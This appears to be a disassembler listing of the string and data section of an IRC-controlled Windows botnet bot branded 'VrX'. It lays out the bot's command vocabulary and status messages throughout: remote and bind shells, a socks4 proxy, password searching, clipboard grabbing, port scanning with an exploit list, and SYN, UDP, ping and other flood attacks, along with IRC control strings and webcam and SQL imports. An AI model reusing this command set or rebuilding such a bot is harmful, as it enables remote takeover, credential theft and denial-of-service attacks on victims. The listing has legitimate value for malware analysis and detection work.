aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
					; sub_40B477+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; .packed:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_1:					; DATA XREF: sub_401ACD+1633o
					; .packed:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; .packed:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+601o
					; sub_409869+16o
unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
					; sub_40F3AA+5C6o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
